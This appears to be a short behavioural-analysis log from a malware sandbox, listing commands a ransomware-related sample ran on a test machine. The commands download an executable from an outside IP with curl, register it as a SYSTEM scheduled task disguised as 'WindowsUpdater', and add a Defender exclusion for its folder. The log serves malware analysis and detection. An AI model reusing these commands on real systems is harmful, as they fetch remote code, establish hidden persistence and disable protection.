Behavioral Analysis

cmd.exe C:\Windows\system32\cmd.exe /c schtasks /QUERY /TN "WindowsUpdater" 1>NUL 2>NUL

cmd.exe C:\Windows\system32\cmd.exe /c curl -s 130.61.181.50/ransomware/persistance.exe > C:\Users\test22\AppData\Local\Temp\Update.exe

cmd.exe C:\Windows\system32\cmd.exe /c SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe" 1>NUL 2>NUL

cmd.exe C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp"

cmd.exe C:\Windows\system32\cmd.exe /c cls